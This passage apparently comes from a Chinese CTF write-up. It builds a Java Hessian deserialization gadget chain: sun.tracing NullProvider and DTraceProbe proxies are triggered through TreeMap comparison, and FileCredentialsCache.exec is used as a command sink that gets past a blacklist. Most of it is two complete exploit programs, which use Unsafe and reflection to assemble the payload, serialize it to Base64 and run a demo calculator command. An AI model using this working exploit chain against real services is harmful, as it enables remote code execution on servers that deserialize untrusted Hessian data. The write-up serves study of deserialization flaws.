这部分的链子在jar-analyzer中也可以找到，我们可以去call的部分看他的方法调用

然后我们可以直接点击Callee的方法调用进行跳转，来查看

有个很方便的地方是，在走到uncheckedTrigger这个抽象方法的时候，Callee部分还会顺便将他的子类的实现方法也搜索出来，图中就可以看到链子最后我们需要的类

成功走到我们的链子

先写个简单的例子来验证这一部分链子

1
package com.clown.proxyTest;
2

3
import sun.misc.Unsafe;
4
import sun.tracing.ProbeSkeleton;
5

6

7
import java.lang.reflect.Field;
8
import java.lang.reflect.InvocationHandler;
9
import java.lang.reflect.Method;
10
import java.lang.reflect.Proxy;
11
import java.util.HashMap;
12

13

14
public class ProxyExp {
15
    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
16
        Class<?> clazz = obj.getClass();
17
        while (clazz != null) {               // 一直找到 Object 为止
18
            try {
19
                Field f = clazz.getDeclaredField(fieldName);
20
                f.setAccessible(true);
21
                f.set(obj, value);
22
                return;                       // 成功就结束
23
            } catch (NoSuchFieldException e) {
24
                clazz = clazz.getSuperclass(); // 没找到就往上翻
25
            }
26
        }
27
        throw new NoSuchFieldException("Field " + fieldName + " not found in " + obj.getClass());
28
    }
29
    public static void main(String[] args) throws Exception {
30
        // 获取unsafe
31
        Field f = Unsafe.class.getDeclaredField("theUnsafe");
32
        f.setAccessible(true);
33
        Unsafe unsafe = (Unsafe) f.get(null);
34
        HashMap hashMap = new HashMap<Method, ProbeSkeleton>();
35
        Method hashcode = Object.class.getDeclaredMethod("hashCode");
36
        ProcessBuilder processBuilder = new ProcessBuilder("open", "-a", "Calculator");
37
        Method start =processBuilder.getClass().getDeclaredMethod("start");
38
        // 找一个ProviderSkeleton的子类，因为ProviderSkeleton是一个抽象类
39
        Object nullprovider = unsafe.allocateInstance(Class.forName("sun.tracing.NullProvider"));
40
        Object probe = unsafe.allocateInstance(Class.forName("sun.tracing.dtrace.DTraceProbe"));
41
        setFieldValue(probe,"proxy",processBuilder);
42
        setFieldValue(probe,"implementing_method",start);
43

44
        hashMap.put(hashcode,probe);
45
        setFieldValue(nullprovider,"providerType",Object.class);
46
        setFieldValue(nullprovider,"active",true);
47
        setFieldValue(nullprovider,"probes",hashMap);
48

49
        Object a =  Proxy.newProxyInstance(
50
                nullprovider.getClass().getClassLoader(),
51
                new Class<?>[] { Comparable.class },
52
                (InvocationHandler) nullprovider);
53
        a.hashCode();
54

55
    }
56
}

这里是可以成功弹出计算器了，这里用Unsafe创建对象更加地方便，能够绕过很多私有限制

完整exp组合#

这时候就可以跟题目条件组合一下，写一个完整的exp试试

这里还有个问题，我们最后一步需要找一个不在黑名单里的能够执行命令的方法而且是有参的，因为我们前面的treemap比较一定会引入一个参数，可以继续用前面的jar-analyzer来找

这里找到了一个，刚好有一个有参的exec方法，直接就执行命令，文章用的也是这个，idea看看他的源码

那么就可以用这个点来执行任意命令了，最终exp如下：

1
package com.clown.proxyTest;
2

3
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
4
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
5
import com.clown.model.CustomProxy;
6
import sun.misc.Unsafe;
7
import sun.security.krb5.internal.ccache.FileCredentialsCache;
8
import sun.tracing.ProbeSkeleton;
9

10

11
import java.io.ByteArrayInputStream;
12
import java.io.ByteArrayOutputStream;
13
import java.lang.reflect.Field;
14
import java.lang.reflect.InvocationHandler;
15
import java.lang.reflect.Method;
16
import java.util.Base64;
17
import java.util.HashMap;
18
import java.util.TreeMap;
19

20

21
public class ProxyExp {
22
    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
23
        Class<?> clazz = obj.getClass();
24
        while (clazz != null) {               // 一直找到 Object 为止
25
            try {
26
                Field f = clazz.getDeclaredField(fieldName);
27
                f.setAccessible(true);
28
                f.set(obj, value);
29
                return;                       // 成功就结束
30
            } catch (NoSuchFieldException e) {
31
                clazz = clazz.getSuperclass(); // 没找到就往上翻
32
            }
33
        }
34
        throw new NoSuchFieldException("Field " + fieldName + " not found in " + obj.getClass());
35
    }
36
    public static void main(String[] args) throws Exception {
37
        // 获取unsafe
38
        Field f = Unsafe.class.getDeclaredField("theUnsafe");
39
        f.setAccessible(true);
40
        Unsafe unsafe = (Unsafe) f.get(null);
41
        HashMap hashMap = new HashMap<Method, ProbeSkeleton>();
42
        Method compareTo = Comparable.class.getDeclaredMethod("compareTo", Object.class);
43
        Method exec = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
44
        exec.setAccessible(true);
45
        // 找一个ProviderSkeleton的子类，因为ProviderSkeleton是一个抽象类
46
        Object nullprovider = unsafe.allocateInstance(Class.forName("sun.tracing.NullProvider"));
47
        Object probe = unsafe.allocateInstance(Class.forName("sun.tracing.dtrace.DTraceProbe"));
48
        setFieldValue(probe,"proxy",FileCredentialsCache.class);
49
        setFieldValue(probe,"implementing_method",exec);
50

51
        hashMap.put(compareTo,probe);
52
        setFieldValue(nullprovider,"providerType",Comparable.class);
53
        setFieldValue(nullprovider,"active",true);
54
        setFieldValue(nullprovider,"probes",hashMap);
55

56
        // 跟题目所给条件进行组合
57
        TreeMap<Object, Object> objectObjectTreeMap = new TreeMap<>();
58
        CustomProxy customProxy = new CustomProxy((InvocationHandler) nullprovider, compareTo);
59
        // 先占位
60
        objectObjectTreeMap.put("aaa", "value1");
61
        objectObjectTreeMap.put("bbb", "value2");
62

63
        // 使用反射强行替换 TreeMap 内部 Entry 的 key
64
        // TreeMap 内部通过一个名为 "root" 的 Entry 节点来维护数据
65
        Field rootField = TreeMap.class.getDeclaredField("root");
66
        rootField.setAccessible(true);
67
        Object rootEntry = rootField.get(objectObjectTreeMap);
68

69
        // Entry 类是 TreeMap 的内部类，我们获取它的 key 字段
70
        Field keyField = rootEntry.getClass().getDeclaredField("key");
71
        keyField.setAccessible(true);
72

73
        // 将第一个 Entry 的 key 替换成我们的 payload 字符串 (用于触发 compareTo 的第一个参数)
74
        keyField.set(rootEntry, "open -a calculator");
75

76
        // 获取右子节点或左子节点 (取决于你 put 的顺序) 并替换为 customProxy
77
        Field rightField = rootEntry.getClass().getDeclaredField("right");
78
        rightField.setAccessible(true);
79
        Object rightEntry = rightField.get(rootEntry);
80
        keyField.set(rightEntry, customProxy);
81

82
        // 序列化
83
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
84
        Hessian2Output hout = new Hessian2Output(bout);
85
        hout.getSerializerFactory().setAllowNonSerializable(true);
86
        hout.writeObject(objectObjectTreeMap);        // 把 TreeMap 写出去
87
        hout.flush();
88
        byte[] data = bout.toByteArray();
89
        System.out.println(Base64.getEncoder().encodeToString(data));
90

91
        // 反序列化
92
        ByteArrayInputStream bin = new ByteArrayInputStream(data);
93
        Hessian2Input hin = new Hessian2Input(bin);
94
        hin.getSerializerFactory().setAllowNonSerializable(true);
95
        Object o = hin.readObject();
96
    }
97
}